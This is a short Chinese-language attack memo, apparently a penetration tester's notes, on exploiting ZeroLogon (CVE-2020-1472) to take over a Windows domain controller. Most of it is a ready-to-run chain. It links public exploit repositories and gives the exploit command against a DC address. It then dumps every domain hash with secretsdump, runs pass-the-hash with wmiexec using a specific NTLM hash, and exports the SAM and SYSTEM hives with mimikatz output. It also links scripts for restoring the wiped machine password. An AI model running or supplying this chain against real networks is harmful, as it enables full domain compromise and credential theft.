ZeroLogon CVE-2020-1472

ref:https://xz.aliyun.com/t/8367#toc-1 https://www.anquanke.com/post/id/219374#h3-3

这个洞可以把域控的机器账户密码置空(AD里面置空,本机lssas并没有,可通过此特性来恢复密码),我们相当于对它已知密码,便可以通过DCSync把整个域的凭据导出(我们已知域控机器账户的密码为什么不直接登陆上去呢?因为域控机器账户默认不可登录,只能用DCSync远程导出凭据),从而获取域管hash,从而接管域。

前提:能访问到域控的445端口(SMB端口)

CVE-2020-1472 exp:https://github.com/risksense/zerologon or https://github.com/SecuraBV/CVE-2020-1472

python3 cve-2020-1472-exploit.py  DC 10.10.10.10

通过密码dump全域hash 使用impacket工具包里的secretsdump.py https://github.com/fortra/impacket/blob/master/examples/secretsdump.py

python3 secretsdump.py de1ay/DC\$@10.10.10.10 -no-pass

找到管理员hash,然后使用impacket工具包里的wmiexec.py拿下域控 https://github.com/fortra/impacket/blob/master/examples/wmiexec.py

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10

把域控机器账户密码置空了,要开始考虑一下恢复的问题了。

我们先从注册表/lsass里面读取机器用户原先的hash

或者这样拿

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
在远端shell使用以上命令导出SYSTEM 和 SAM文件,并将其待会本地,由mimikatz分析
mimikatz运行
mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : STU1
SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296

SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Guest

RID  : 000003e8 (1000)
User : liukaifeng01
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

然后通过exp下面的脚本还原密码https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py

或者不拿lssas的hash,直接通过碰撞来还原密码,比较暴力,还是用上面那个好点https://github.com/risksense/zerologon/blob/master/reinstall_original_pw.py

windows server 08-19 都能打,但是把域控密码置空可能会导致脱域(AD里面存储的机器密码跟本机的Lsass里面存储的密码不一定导致的),慎用